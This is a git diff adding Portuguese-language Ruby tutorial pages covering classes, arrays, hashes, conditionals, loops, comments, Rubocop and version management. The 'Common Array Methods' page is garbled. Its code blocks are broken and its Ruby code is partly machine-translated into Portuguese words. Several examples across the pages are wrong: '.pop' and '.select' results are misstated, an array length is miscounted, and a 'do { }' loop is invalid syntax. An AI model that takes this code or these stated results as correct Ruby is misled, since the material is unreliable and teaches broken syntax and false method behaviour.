+Considerando um carro, seu estado poderia ser descrito como seu modelo, marca e cor. O comportamento do carro pode estar girando, buzinando ou freando.
+
+Um objeto em Ruby tem características muito semelhantes. Objetos Ruby também possuem um estado e comportamento. Em Ruby Objects, o estado é armazenado em variáveis ​​de instância e o comportamento é armazenado em funções.
+
+### Classes em Ruby
+
+Uma classe é basicamente um modelo de programa. Este modelo define as `properties` iniciais usando `instance variables` . Novamente, também existem novamente `behaviors` definidos na forma de funções.
+
+Uma nova instância de uma classe é criada usando o método `initialize` de uma classe.
+
+Tomemos por exemplo o seguinte código de amostra de uma classe:
+
+```Ruby
+class Car 
+    def initialize(make, model, color) 
+        @make = make 
+        @model = model 
+        @color = color 
+    end 
+ 
+    def turn(direction) 
+    end 
+ 
+    def honk 
+        puts "beep beep" 
+    end 
+ 
+    def brake 
+    end 
+ end 
+```
+
+Como você viu, as classes são definidas usando a palavra-chave `class` e o bloco do código da classe termina com um keywork `end` . A função `.initialize` é o construtor. Quando criamos este objeto, definimos os atributos `@make` , `@model` e `@color` com os valores que passamos para o construtor.
+
+### Criando uma instância de uma classe
+
+Agora, para criar uma instância dessa classe, você só precisa chamar a função `.new` .
+
+```Ruby
+mazda3 = Car.new('Mazda', 'Mazda3', 'White') 
+```
+
+Isso é ótimo, mas às vezes você pode precisar alterar alguns desses atributos! A maioria desses atributos neste exemplo seria estática. Ainda assim, imagine que você decidiu fazer uma nova pintura. Como você faria para atualizar o estado dessa instância do objeto `Car` ?
+
+### Modificando o Estado da Instância
+
+Felizmente, é bastante simples atualizar o estado de um objeto. Primeiro, precisaríamos de um método `setter` ! Ruby define as configurações **getter** e **setter** como `attr_reader` e `attr_accessor` respectivamente. Para as configurações de getter e setter em um determinado atributo, você também pode usar apenas `attr_accessor` .
+
+Para demonstrar isso, modifiquei o objeto Car anterior com essas configurações recém-definidas.
+
+```Ruby
+class Car 
+    attr_accessor :color 
+    attr_reader :make, :model 
+ 
+    def initialize(make, model, color) 
+        @make = make 
+        @model = model 
+        @color = color 
+    end 
+ 
+    def turn(direction) 
+    end 
+ 
+    def honk 
+        puts "beep beep" 
+    end 
+ 
+    def brake 
+    end 
+ end 
+```
+
+Então agora podemos mudar o estado e ler o estado do objeto.
+
+```Ruby
+irb(main):023:0> c = Car.new('Mazda', 'Mazda3', 'White') 
+ => #<Car:0x00007fd3ca13fdd0 @make="Mazda", @model="Mazda3", @color="White", @speed=nil> 
+ irb(main):024:0> c.color 
+ => "White" 
+ irb(main):025:0> c.make 
+ => "Mazda" 
+ irb(main):026:0> c.model 
+ => "Mazda3" 
+ irb(main):027:0> c.color = 'Brutal Blue' 
+ => "Brutal Blue" 
+ irb(main):028:0> c.make = 'Prius' 
+ Traceback (most recent call last): 
+        2: from /usr/local/bin/irb:11:in `<main>' 
+        1: from (irb):28 
+ NoMethodError (undefined method `make=' for #<Car:0x00007fd3ca13fdd0>) 
+ Did you mean?  make 
+```
+
+Visualizando a saída anterior do `irb` , você pode ver que cada uma das variáveis ​​da instância é legível. Podemos escrever para `@color` , mas acabamos causando uma exceção `NoMethodError` quando tentamos gravar no `@make` . Isto é porque `@make` foi definido apenas usando um `attr_reader` , então `make=` não está definido.
+
+### Recursos
+
+*   [Programação Ruby / Sintaxe / Classes](https://en.wikibooks.org/wiki/Ruby_Programming/Syntax/Classes)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/ruby/common-array-methods/index.md b/client/src/guide/portuguese/ruby/common-array-methods/index.md
new file mode 100644
index 0000000000..4681aa92b7
--- /dev/null
+++ b/client/src/guide/portuguese/ruby/common-array-methods/index.md
@@ -0,0 +1,144 @@
+---
+title: Common Array Methods
+localeTitle: Métodos comuns de matriz
+---
+## Métodos comuns de matriz
+
+Ruby Arrays formam uma base fundamental na programação em Ruby, e na maioria das linguagens de fato. É usado tanto que seria benéfico conhecer e até memorizar alguns dos métodos mais usados ​​para matrizes. Se você quiser saber mais sobre Ruby Arrays, temos [um artigo sobre eles](https://guide.freecodecamp.org/ruby/ruby-arrays) .
+
+Para os propósitos deste guia, nosso array será o seguinte:
+
+\`\` \`ruby array = \[0, 1, 2, 3, 4\]
+```
+#### .length 
+ The .length method tallies the number of elements in your array and returns the count: 
+```
+
+rubi array.length => 5
+```
+#### .first 
+ The .first method accesses the first element of the array, the element at index 0: 
+```
+
+rubi array.first => 0
+```
+#### .last 
+ The .last method accesses the last element of the array: 
+```
+
+rubi array.last => 4
+```
+#### .take 
+ The .take method returns the first n elements of the array: 
+```
+
+rubi array.take (3) => \[0, 1, 2\]
+```
+#### .drop 
+ The .drop method returns the elements after n elements of the array: 
+```
+
+rubi array.drop (3) => \[3, 4\]
+```
+#### array index 
+ You can access a specific element in an array by accessing its index. If the index does not exist in the array, nil will be returned: 
+```
+
+rubi matriz \[2\] => 2
+
+matriz \[5\] => nulo
+```
+#### .pop 
+ The .pop method will permantently remove the last element of an array: 
+```
+
+rubi array.pop => \[0, 1, 2, 3\]
+```
+#### .shift 
+ The .shift method will permantently remove the first element of an array and return this element: 
+```
+
+rubi array.shift => 0  
+array => \[1, 2, 3, 4\]
+```
+#### .push 
+ The .push method will allow you to add an element to the end of an array: 
+```
+
+rubi array.push (99) => \[0, 1, 2, 3, 4, 99\]
+```
+#### .unshift 
+ The .unshift method will allow you to add an element to the beginning of an array: 
+```
+
+array = \[2, 3\] array.unshift (1) => \[1, 2, 3\]
+```
+#### .delete 
+ The .delete method removes a specified element from an array permanently: 
+```
+
+rubi array.delete (1) => \[0, 2, 3, 4\]
+```
+#### .delete_at 
+ The .delete_at method allows you to permanently remove an element of an array at a specified index: 
+```
+
+rubi array.delete\_at (0) => \[1, 2, 3, 4\]
+```
+#### .reverse 
+ The .reverse method reverses the array but does not mutate it (the original array stays as is): 
+```
+
+rubi array.reverse => \[4, 3, 2, 1, 0\]
+```
+#### .select 
+ The .select method iterates over an array and returns a new array that includes any items that return true to the expression provided. 
+```
+
+rubi array = \[1, 2, 3, 4, 5, 6, 7, 8, 9, 10\] array.select {| number | número> 4} => \[5, 6, 7, 8, 9, 10\] array => \[5, 6, 7, 8, 9, 10\]
+```
+#### .include? 
+ The include? method checks to see if the argument given is included in the array: 
+```
+
+rubi array = \[1, 2, 3, 4, 5\] => \[1, 2, 3, 4, 5\] array.include? (3) = verdadeiro
+
+#### .aplainar
+
+O método flatten pode ser usado para obter uma matriz que contém matrizes aninhadas e criar uma matriz unidimensional:
+
+\`\` \`ruby array = \[1, 2, \[3, 4, 5\], \[6, 7\]\] array.flatten => \[1, 2, 3, 4, 5, 6, 7\]
+```
+#### .join 
+ The .join method returns a string of all the elements of the array separated by a separator parameter. If the separator parameter is nil, the method uses an empty string as a separator between strings. 
+```
+
+rubi array.join => "1234" array.join (" _") => "1_ 2 _3_ 4"
+```
+#### .each 
+ The .each method iterates over each element of the array, allowing you to perform actions on them. 
+```
+
+rubi array.each do | element | coloca elemento fim => 0 1 2 3 4
+```
+#### .map 
+ The .map method is the same as the .collect method. The .map and .collect methods iterate over each element of the array, allowing you to perform actions on them. The .map and .collect methods differ from the .each method in that they return an array containing the transformed elements. 
+```
+
+rubi array.map {| elemento | elemento \* 2} coloca elemento fim => 0 2 4 6 8
+```
+#### .uniq 
+ The .uniq method takes in an array containing duplicate elements, and returns a copy of the array containing only unique elements--any duplicate elements are removed from the array. 
+```
+
+rubi array = \[1, 1, 2, 2, 3, 3, 3, 4, 4, 4, 4, 5, 6, 7, 8\] array.uniq => \[1, 2, 3, 4, 5, 6, 7, 8\]
+```
+#### .concat 
+ The .concat method appends the elements from an array to the original array. The .concat method can take in multiple arrays as an argument, which will in turn append multiple arrays to the original array. 
+```
+
+rubi array = \[0, 1, 2, 3, 4\] array.concat (\[5, 6, 7\], \[8, 9, 10\]) => \[0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10\] \`\` \`
+
+## Mais Informações
+
+*   [Documentação do Ruby Array](http://ruby-doc.org/core-2.5.1/Array.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/ruby/index.md b/client/src/guide/portuguese/ruby/index.md
new file mode 100644
index 0000000000..0c91d5ac1c
--- /dev/null
+++ b/client/src/guide/portuguese/ruby/index.md
@@ -0,0 +1,131 @@
+---
+title: Ruby
+localeTitle: Rubi
+---
+## O que é Ruby?
+
+Ruby foi criado por Yukihiro "Matz" Matsumoto e é uma linguagem de script [open source](https://github.com/ruby/ruby) , dinâmica e interpretada para programação rápida e fácil orientada a objetos. Que significa:
+
+Também é conhecido por ter uma das [maiores e amigáveis ​​comunidades](https://www.ruby-lang.org/en/community/) entre linguagens de programação.
+
+*   Capacidade de fazer chamadas do sistema operacional diretamente
+*   Feedback imediato durante o desenvolvimento
+*   Declarações variáveis ​​são desnecessárias
+*   O gerenciamento de memória é automático
+*   Tudo é um objeto
+*   Tem a funcionalidade "mixin" por módulo
+*   Iteradores e fechamentos
+
+Se você não estiver familiarizado com alguns dos conceitos acima, continue lendo e não se preocupe. Ruby se concentra na simplicidade e produtividade com uma sintaxe elegante que é natural de ler e fácil de escrever, como:
+
+```ruby
+# Quick example of Ruby with Object Oriented Programming 
+ class Greeter 
+  def initialize(name) 
+    @name = name.capitalize 
+  end 
+ 
+  def salute 
+    puts "Hello #{@name}!" 
+  end 
+ end 
+ 
+ # Create a new object 
+ g = Greeter.new("world") 
+ 
+ # Output "Hello World!" 
+ g.salute 
+```
+
+## Versão
+
+A versão estável atual é [2.5.1](https://www.ruby-lang.org/en/news/2018/03/28/ruby-2-5-1-released/) .
+
+## Instalação
+
+O Mac OS X e muitas distribuições Linux vêm pré-instaladas com o Ruby. Para verificar se o ruby ​​está pré-instalado no seu sistema, basta executar o `ruby -v` no seu shell. Existem várias maneiras de instalar o Ruby:
+
+*   Quando você está em um sistema operacional semelhante ao UNIX, usar o gerenciador de pacotes do seu sistema é a maneira mais fácil de começar. No entanto, a versão empacotada do Ruby geralmente não é a mais nova.
+*   Os instaladores podem ser usados ​​para instalar uma versão específica ou várias versões do Ruby. Existe também um instalador para o Windows.
+*   Os gerentes ajudam você a alternar entre várias instalações do Ruby em seu sistema.
+*   E finalmente, você também pode construir Ruby a partir do código-fonte.
+
+Para saber como instalar o Ruby através dos gerenciadores de pacotes, instaladores e fonte, clique [aqui](https://www.ruby-lang.org/en/documentation/installation/) . RVM (Ruby Version Manager) e rbenv são os gerenciadores Ruby mais populares para gerenciar múltiplos Rubis. Se você ficar preso em algum lugar, não se preocupe, apenas vá até a nossa [sala de bate-papo Gitter](https://gitter.im/FreeCodeCamp/ruby) e pergunte-nos qualquer coisa.
+
+## IRB
+
+IRB significa Interactive Ruby Shell. A abreviação irb vem do fato de que a extensão de nome de arquivo para Ruby é ".rb", embora os arquivos Ruby interativos não tenham uma extensão ".irb". O programa é iniciado a partir de uma linha de comando e permite a execução de comandos Ruby com uma resposta imediata, experimentando em tempo real. Ele possui histórico de comandos, recursos de edição de linha e controle de tarefas, e é capaz de se comunicar diretamente como um script de shell pela Internet e interagir com um servidor ativo. Foi desenvolvido por Keiju Ishitsuka.
+
+```shell
+    irb 
+    2.3.0 :001 > print "Hello World" 
+    Hello World! => nil 
+```
+
+## Intérprete Rubi
+
+O interpretador Ruby é o que é usado para executar scripts Ruby. Se estiver disponível e no caminho de busca do shell Unix tornar possível iniciá-lo digitando o comando `ruby` seguido do nome do script, ele chamará o interpretador e executará o script.
+
+`hello_campers.rb`
+
+```ruby
+    if 'welcome' == 'welcome' 
+        print('Hello campers!') 
+    end 
+```
+
+Da linha de comando:
+
+```shell
+    $ ruby hello_campers.rb 
+    Hello campers! 
+```
+
+## Documentação
+
+Ruby está bem [documentado](https://www.ruby-lang.org/en/documentation/) . Esses documentos incluem tutoriais, guias, referências e informações meta para o idioma.  
+Outro recurso importante para documentação é o [Ruby Doc](http://ruby-doc.org/core-2.3.0/) . Você deve visitar este [link](https://github.com/airbnb/ruby) para saber mais sobre o guia de estilo Ruby, escrito por desenvolvedores do AirBnB.
+
+Uma leitura recomendada para iniciantes em Ruby é [o guia do Why's (Poignant) para Ruby](https://poignant.guide/) Este livro é incomum entre os livros de programação. Com um monte de humor estranho e faixas laterais narrativas que às vezes são completamente alheios ao tema, este consegue manter os leitores entretidos enquanto aprendem o básico de Ruby.
+
+## Depuração
+
+Instruções de `print` embutidas podem ser usadas para depuração simples:
+
+```ruby
+    print some_variable # prints to console 
+```
+
+> **… Muitas vezes a maneira mais rápida de depurar um programa é adicionar algumas instruções de impressão à fonte: o ciclo rápido de edição-teste-depuração torna essa abordagem simples muito eficaz.**
+
+O Ruby também inclui ferramentas mais poderosas para depuração, como:
+
+*   [_debugger de alavanca_](https://github.com/nixme/pry-debugger)
+
+## Olá Mundo!
+
+Voltando aos documentos, podemos ler sobre o método de [`print`](http://ruby-doc.org/core-2.3.0/Kernel.html#method-i-print) , um dos métodos [internos do módulo Kernel](http://ruby-doc.org/core-2.3.0/Kernel.html) .
+
+```ruby
+    print(obj, ...) → nil 
+```
+
+Imprime cada objeto para $ stdout. Objetos que não são strings serão convertidos chamando seu método `to_s` . O valor de retorno da impressão é `nil` . Então, quando você executar `print "Hello World!` No seu IRB. A saída é:
+
+```shell
+    2.3.0 :001 > print "Hello World!" 
+    Hello World! 
+     => nil 
+```
+
+## Frameworks (gemas)
+
+O Ruby possui vários frameworks (gems) para aplicações de scaffolding rapidamente. O mais popular, de longe, é [Rails,](http://rubyonrails.org/) que foi lançado inicialmente em 2004. Outras estruturas (gemas) para Ruby incluem [Sinatra](http://www.sinatrarb.com/) , [Lotus](http://lotusrb.org/) e [Volt](http://voltframework.com/) . Cada uma dessas opções tem seus prós e contras para o desenvolvimento e atende a uma variedade de necessidades.
+
+## Ruby Framework para desenvolvimento móvel
+
+Para escrever aplicativos nativos de plataforma cruzada em Ruby, o RUBY MOTION é usado para desenvolver aplicativos nativos de plataforma cruzada para iOS, Android e OS X usando o idioma de programação Ruby. Mais recursos aqui: http://www.rubymotion.com/
+
+## O que depois de aprender Ruby?
+
+Toda linguagem de programação desempenha um papel importante. Você pode contribuir com muitos projetos de código aberto ou pode candidatar-se a algumas grandes empresas depois de ter uma boa compreensão do Ruby. Como muitos sites da internet como Basecamp, Airbnb, Bleacher Report, Fab.com, Scribd, Groupon, Gumroad, Hulu, Kickstarter, Pitchfork, Sendgrid, Soundcloud, Square, Yammer, Crunchbase, Slideshare, Funny or Die, Zendesk, Github, O Shopify é construído em Ruby, então há muitas opções para você por aí. Além disso, muitas startups estão contratando pessoas com habilidades em RUby on Rails, já que muitos programadores não tentam aprender Ruby. Então, você pode ter uma boa chance de trabalhar em uma empresa iniciante. Então, Ruby é amigável para iniciantes e é bastante difícil definir que você tem um bom número de vagas para trabalhar como desenvolvedor.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/ruby/managing-ruby-versions/index.md b/client/src/guide/portuguese/ruby/managing-ruby-versions/index.md
new file mode 100644
index 0000000000..dcb09146aa
--- /dev/null
+++ b/client/src/guide/portuguese/ruby/managing-ruby-versions/index.md
@@ -0,0 +1,62 @@
+---
+title: Managing Ruby versions
+localeTitle: Gerenciando versões do Ruby
+---
+## Ruby mudou ao longo do tempo
+
+Ruby estava em constante desenvolvimento desde a década de 1990 e, como muitas outras línguas, houve mudanças de sintaxe nas versões, por isso é importante estar claro sobre qual versão do Ruby seu código espera.
+
+Provavelmente, a mudança mais visível veio com o Ruby 1.9; anteriormente, escrevemos hashes como este:
+
+```ruby
+  { :one => 1, :two => 2, :three => 3 } 
+```
+
+Este uso do operador 'hashrocket' ( `=>` ) era tão comum, que o Ruby 1.9 forneceu uma abreviação:
+```
+  { one: 1, two: 2, three: 3 } 
+```
+
+Este código mais antigo é executado em qualquer versão, mas a sintaxe mais recente só será executada no Ruby 1.9+.
+
+## Como isso causa problemas?
+
+Por exemplo, você pode ter decidido usar uma Gem que confia internamente em Ruby 1.9 características; isso significa que seu projeto agora também depende do Ruby 1.9 características.
+
+Se você não especificar qual versão do Ruby seu projeto precisa, pode ser muito confuso quando o código funciona em uma máquina, mas não em outra.
+
+Como na maioria dos idiomas, considera-se boa prática especificar a versão do Ruby que seu código espera. Isso torna muito mais fácil gerenciar múltiplos projetos em sua máquina de desenvolvimento, cada um esperando uma versão diferente Rubi.
+
+## Como eu especifico minha versão em Ruby?
+
+Há um par de ferramentas que são populares para isso, mas ambos concordaram em compartilhar um arquivo comum. Muitos projetos Ruby (ou Rails) incluirão um simples `.ruby-version` , que simplesmente especifica um número de versão, _por exemplo_ :
+```
+2.4.2 
+```
+
+Ferramentas populares para ajudá-lo a gerenciar sua versão do Ruby são:
+
+*   [Ruby Version Manager (RVM)](https://rvm.io)
+*   [rbenv](https://github.com/rbenv/rbenv)
+
+Vamos dar uma olhada no RVM.
+
+### Usando o RVM
+
+RVM é normalmente instalado ( [link](https://rvm.io) ) em um Linux, Unix ou MacOS máquina, e é muito conveniente, uma vez que se conecta ao `cd` ( `c` mudança `d` irectory) comando assim quando você move para um novo projeto, sua `.ruby-version` é lida automaticamente, e você é automaticamente mudado para a versão correta do Ruby antes de começar a trabalhar.
+
+Por exemplo, você pode ter esta sequência:
+
+```shell
+% cd ~/projects/older-project 
+ % ruby --version 
+ 
+ ruby 2.3.5p376 (2017-09-14 revision 59905) [x86_64-darwin16] 
+ 
+ % cd ~/projects/newer-project 
+ % ruby --version 
+ 
+ ruby 2.4.2p198 (2017-09-14 revision 59899) [x86_64-darwin16] 
+```
+
+(Estes exemplos são de uma máquina MacOS)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/ruby/rubocop/index.md b/client/src/guide/portuguese/ruby/rubocop/index.md
new file mode 100644
index 0000000000..f2593782dd
--- /dev/null
+++ b/client/src/guide/portuguese/ruby/rubocop/index.md
@@ -0,0 +1,64 @@
+---
+title: Rubocop
+localeTitle: Rubocop
+---
+[Rubocop](https://github.com/bbatsov/rubocop) é uma ferramenta de análise estática para [Ruby](https://www.ruby-lang.org/en/) O que isto significa? Significa Rubocop vontade de 'ler' o seu código (ao invés de executá-lo, daí a parte 'estática' do nome), e analisá-lo. As regras de análise usadas pelo Rubocop são do [Guia de estilo da comunidade Ruby](https://github.com/bbatsov/ruby-style-guide) .
+
+O guia de estilo é um conjunto de sugestões específicas sobre como escrever código que é mais legível, mais expressivo e mais convencional. Como uma comunidade, seria ótimo se pudéssemos ler o código de qualquer outra pessoa facilmente, e eles poderiam leia o nosso facilmente. É isso que o Rubocop nos ajuda a fazer. Esse tipo de ferramenta é sempre valioso, mas é particularmente útil quando você está aprendendo Ruby, e você pode codificar o que é _correto_ , mas que não se ater às convenções Ruby, ou não aproveita alguns dos recursos mais poderosos do Ruby.
+
+Mais útil, o Rubocop pode corrigir automaticamente muitos dos menores avisos - como espaçamento incorreto. Isso é muito útil antes da revisão do código, já que significa colegas desenvolvedores podem se concentrar em preocupações de nível mais alto, e não ter que desperdiçar tempo em problemas de sintaxe.
+
+## Usando Rubocop
+
+### Instalação
+
+Rubocop é entregue como uma Gem, então em um projeto típico que usa Bundler você gostaria de adicioná-lo à seção de desenvolvimento do seu `Gemfile` :
+```
+group :development do 
+  gem rubocop 
+ end 
+```
+
+Isso significa que qualquer um usando seu projeto terá a mesma versão do Rubocop, e todos concordarão sobre qual é a melhor prática atual.
+
+### Uso
+
+Antes de cada confirmação, gostaria de verificar se meu código recém-modificado está em conformidade o padrão comunitário, simplesmente executando:
+```
+rubocop 
+```
+
+Isto irá mostrar uma lista de avisos sobre o seu código.
+
+Pode ser útil pedir mais ajuda a Rubocop:
+```
+rubocop --extra-details --display-cop-names 
+```
+
+(Você pode adicioná-los a um arquivo `.rubocop` para torná-los padrão.)
+
+Muitos editores permitirão que você integre o Rubocop, o que pode dar feedback quando você está escrevendo código.
+
+### Corrigindo problemas
+
+Digamos que eu tenha escrito algum novo código; antes de comê-lo, eu poderia decidir verifique se segue as diretrizes:
+
+```shell
+rubocop <my new file> 
+```
+
+Eu posso editar fazer as alterações sugeridas manualmente, ou posso pedir ao Rubocop para corrigir pequenos problemas automaticamente:
+```
+rubocop --auto-correct 
+```
+
+### Correndo apenas certos policiais
+
+Cada diretriz da comunidade é implementada em um 'policial' do Rubocop. Ao trabalhar em um codebase legado você pode ser inundado com avisos ao introduzir o Rubocop. Neste caso, pode ser útil executar apenas um único policial ao longo do codebase, e verificar essas mudanças antes de passar para a próxima diretriz, para exemplo:
+```
+rubocop --auto-correct --only 'Layout/EmptyLineAfterMagicComment' 
+```
+
+### Integração do Editor de Texto
+
+O Rubocop pode ser integrado ao Vim, ao Visual Studio Code, ao Atom e a outros editores de texto. Uma lista completa pode ser encontrada [aqui](https://rubocop.readthedocs.io/en/latest/integration_with_other_tools/) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/ruby/ruby-arrays/index.md b/client/src/guide/portuguese/ruby/ruby-arrays/index.md
new file mode 100644
index 0000000000..a6869e1ec6
--- /dev/null
+++ b/client/src/guide/portuguese/ruby/ruby-arrays/index.md
@@ -0,0 +1,56 @@
+---
+title: Ruby Arrays
+localeTitle: Ruby Arrays
+---
+## Ruby Arrays
+
+Uma matriz representa uma lista de valores. Os valores individuais são freqüentemente chamados de "elementos" da matriz. Para fazer um array em Ruby, use colchetes e separe os valores com vírgulas:
+
+```ruby
+my_array = [1, 2, 3, 4, 5] 
+```
+
+Esse primeiro exemplo é uma matriz de números, mas uma matriz Ruby pode conter valores de diferentes tipos, até mesmo outras matrizes:
+
+```ruby
+mixed_array = [5, "Hello World", true, [1,2,3]] 
+```
+
+Você pode acessar os elementos de uma matriz com colchetes e índices numéricos. Observe que o primeiro elemento está no índice 0, não 1:
+
+```ruby
+mixed_array[0] # 5 
+ mixed_array[1] # "Hello World" 
+ mixed_array[2] # true 
+```
+
+Você pode verificar quantos elementos um array tem com o método `length` :
+
+```ruby
+mixed_array.length # 3 
+ [].length # 0 
+```
+
+Você pode verificar o primeiro elemento de uma matriz com o `first` método:
+
+```ruby
+mixed_array.first # 5 
+```
+
+Você pode verificar o último elemento de uma matriz com o `last` método:
+
+```ruby
+mixed_array.last # true 
+```
+
+#### Ruby Lambda
+
+Um lambda também é comumente chamado de função anônima. Para criar um lambda em Ruby, você pode usar a seguinte sintaxe:
+
+```ruby
+lambda = lambda {} 
+```
+
+#### Mais Informações:
+
+[Documentação do array Ruby](https://ruby-doc.org/core-2.4.2/Array.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/ruby/ruby-comments/index.md b/client/src/guide/portuguese/ruby/ruby-comments/index.md
new file mode 100644
index 0000000000..a2d64c668d
--- /dev/null
+++ b/client/src/guide/portuguese/ruby/ruby-comments/index.md
@@ -0,0 +1,48 @@
+---
+title: Ruby Comments
+localeTitle: Comentários Ruby
+---
+# Comentários Ruby
+
+Comentários são linhas de anotação dentro do código que são ignoradas no tempo de execução (o que significa que elas são visíveis dentro do código-fonte, mas não são impressas quando você executa o programa).
+
+Em Ruby, um comentário de linha única começa com o caractere `#` e se estende até o final da linha. O comentário pode estar em sua própria linha ou no código a seguir.
+
+```Ruby
+puts "Learning to code is fun!" 
+ 
+ # I am a single line comment. 
+ 
+ puts "Ruby is a great language!" # Me too - I am a trailing comment. 
+```
+
+Quando executado, o programa acima produz o seguinte:
+```
+Learning to code is fun! 
+ Ruby is a great language! 
+```
+
+Você pode fazer vários comentários de linha colocando os comentários entre `=begin` e `=end` . `=begin` e `=end` deve começar no início da linha e `=end` deve estar em uma linha própria.
+
+```ruby
+=begin 
+ I am a multi-line comment 
+ and I can be as long as I please. 
+ See, still going! 
+ =end 
+ 
+ puts "Hello World!" 
+ 
+ =begin It's ok to start the comment on the same 
+ line as "=begin" (though it's more readable if 
+ you don't) but you can't put a space or any 
+ text before "=begin" or "=end" and you can't put 
+ anything on the same line after "=end". 
+ =end 
+```
+
+Quando executado, o programa acima produz o seguinte:
+```
+Hello World! 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/ruby/ruby-conditionals/index.md b/client/src/guide/portuguese/ruby/ruby-conditionals/index.md
new file mode 100644
index 0000000000..d8264928de
--- /dev/null
+++ b/client/src/guide/portuguese/ruby/ruby-conditionals/index.md
@@ -0,0 +1,54 @@
+---
+title: Ruby Conditionals
+localeTitle: Condicionais do Ruby
+---
+Ruby possui vários condicionais comumente usados.
+
+## Se declarações
+
+Uma condicional extremamente comum em muitas linguagens de programação, a instrução testa se a condição é verdadeira e se ramifica na ação especificada. Uma declaração if consiste em um `if` , qualquer número de `elsif` e no máximo uma `else` declaração.
+
+*   ```ruby
+    fruit = :apple 
+     
+     if fruit == :apple 
+      puts "Your fruit is an apple" 
+     elsif fruit == :orange 
+      puts "Your fruit is an orange" 
+     else 
+      puts "This is not an apple or an orange" 
+     end 
+    
+    ```
+    
+
+### A menos que seja uma declaração
+
+Uma declaração a menos é o oposto de uma declaração if. É o mesmo que uma declaração if negada.
+
+*   `ruby happy = true if !happy puts "This person is not happy" end` A declaração acima é igual à declaração abaixo
+*   `ruby unless happy puts "This person is not happy" end`
+
+## Declaração Ternária
+
+Uma instrução ternária é usada como uma instrução condicional curta. Está escrito da seguinte forma
+
+*   `ruby game = "won" fans = game == "won" ? "happy" : unhappy fans # => "happy"`
+
+## Declaração de caso
+
+Uma declaração de caso é semelhante a uma instrução if / elsif / else
+
+*   ```ruby
+    fruit = :apple 
+     
+     case fruit 
+     when :apple 
+      puts "Your fruit is an apple" 
+     when :orange 
+      puts "Your fruit is an orange" 
+     else 
+      puts "This is not an apple or an orange" 
+     end 
+    
+    ```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/ruby/ruby-for-loop/index.md b/client/src/guide/portuguese/ruby/ruby-for-loop/index.md
new file mode 100644
index 0000000000..341016dd7a
--- /dev/null
+++ b/client/src/guide/portuguese/ruby/ruby-for-loop/index.md
@@ -0,0 +1,29 @@
+---
+title: Ruby For Loops
+localeTitle: Ruby For Loops
+---
+## Ruby For Loops
+
+Os loops forçados Ruby são usados ​​para fazer loop ou iterar sobre vários elementos e executar um bloco de código para cada elemento. For loops são freqüentemente usados ​​em matrizes. Veja a seção sobre [Ruby Arrays](https://github.com/freeCodeCamp/guides/blob/master/src/pages/ruby/ruby-arrays/index.md) .
+
+For loops são meramente um exemplo de loop ou iteração sobre elementos. Abaixo está um exemplo de um loop for:
+```
+for element in array do 
+  puts element 
+ end 
+```
+
+Existem muitas maneiras diferentes nas quais você pode executar um loop ou loop em Ruby, outro exemplo seria:
+```
+element.each do |element| 
+  puts element 
+ end 
+```
+
+Isso alcançaria exatamente os mesmos resultados que o loop for mencionado anteriormente, mas é mais simples e mais eficiente, pois faz uso dos métodos incorporados do Array.
+
+Para ir além, podemos escrever o loop acima da seguinte maneira:
+```
+element.each do { |element| puts element } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/ruby/ruby-hash/index.md b/client/src/guide/portuguese/ruby/ruby-hash/index.md
new file mode 100644
index 0000000000..4d551c0b22
--- /dev/null
+++ b/client/src/guide/portuguese/ruby/ruby-hash/index.md
@@ -0,0 +1,45 @@
+---
+title: Ruby Hash
+localeTitle: Ruby Hash
+---
+## Ruby Hash
+
+Um hash representa uma coleção de pares distintos de chave e valor. Também é chamado de matrizes associativas. Para criar um hash em Ruby, use chaves e separe cada par de valor-chave com vírgula.
+
+```ruby
+my_hash = {:key1 => "value", :key2 => "value2"} 
+```
+
+Você pode criar um hash das seguintes maneiras
+
+```ruby
+my_hash = Hash.new  # with empty hash 
+ my_hash = {:key1 => "value", :key2 => "value2"} # with key's and value's defined 
+```
+
+Você pode acessar o valor da chave em um hash com colchetes e referências de chave
+
+```ruby
+my_hash[:key1]  # value 
+ my_hash[:key2]  # value2 
+```
+
+Você pode atribuir uma nova chave e valor para um hash já definido
+
+```ruby
+my_hash[:key3] = "value3" # {:key1=>"value", :key2=>"value2", :key3=>"value3"} 
+```
+
+Você pode verificar quantos elementos um hash tem com o método `length` :
+
+```ruby
+my_hash.length # 2 
+```
+
+Você também pode criar inteiros como chave hash, mas a sintaxe é diferente da usual
+
+```ruby
+my_hash = {1: "value"} # will raise an exception 
+ my_hash = {1 => "value"} # will create hash with corresponding key value pair 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/ruby/ruby-hashes/index.md b/client/src/guide/portuguese/ruby/ruby-hashes/index.md
new file mode 100644
index 0000000000..0d5e4feccc
--- /dev/null
+++ b/client/src/guide/portuguese/ruby/ruby-hashes/index.md
@@ -0,0 +1,54 @@
+---
+title: Ruby Hashes
+localeTitle: Hashes Ruby
+---
+## Hashes Ruby
+
+Um hash é uma coleção de chaves e valores. É semelhante ao que é comumente chamado de dicionário em outros idiomas. Em Ruby, um hash é semelhante a um [array](https://raw.githubusercontent.com/freeCodeCamp/guides/master/src/pages/ruby/ruby-arrays/index.md) , mas em vez de simplesmente armazenar um valor, ele armazena um par de chave e valor.
+
+```ruby
+array = ["value"] 
+ hash = { "key" => "value" } 
+```
+
+Existem algumas maneiras diferentes de criar um novo hash:
+
+```ruby
+hash1 = {a: 100, b: "200"} 
+ hash2 = Hash.new 
+ hash3 = Hash.new(0) # with default value set to 0 
+```
+
+Um programador pode então acessar um valor de hash usando sua chave, em vez do índice.
+
+```ruby
+array[0] # => "value" 
+ hash["key"] # => "value" 
+```
+
+Desta forma, um hash age mais como um dicionário onde você pode procurar um valor por sua chave.
+
+```ruby
+dictionary = { "Aardvark" => "a large, nocturnal, burrowing mammal", 
+               "Zyzzyva" => "a genus of tropical weevils" } 
+ dictionary["Aardvark"] # => "a large, nocturnal, burrowing mammal" 
+ dictionary["Zyzzyva"] # => "a genus of tropical weevils" 
+```
+
+Você também pode criar um hash usando [símbolos](#) como chaves.
+
+```ruby
+hash = { :symbol => "value" } 
+ hash[:symbol] # => "value" 
+```
+
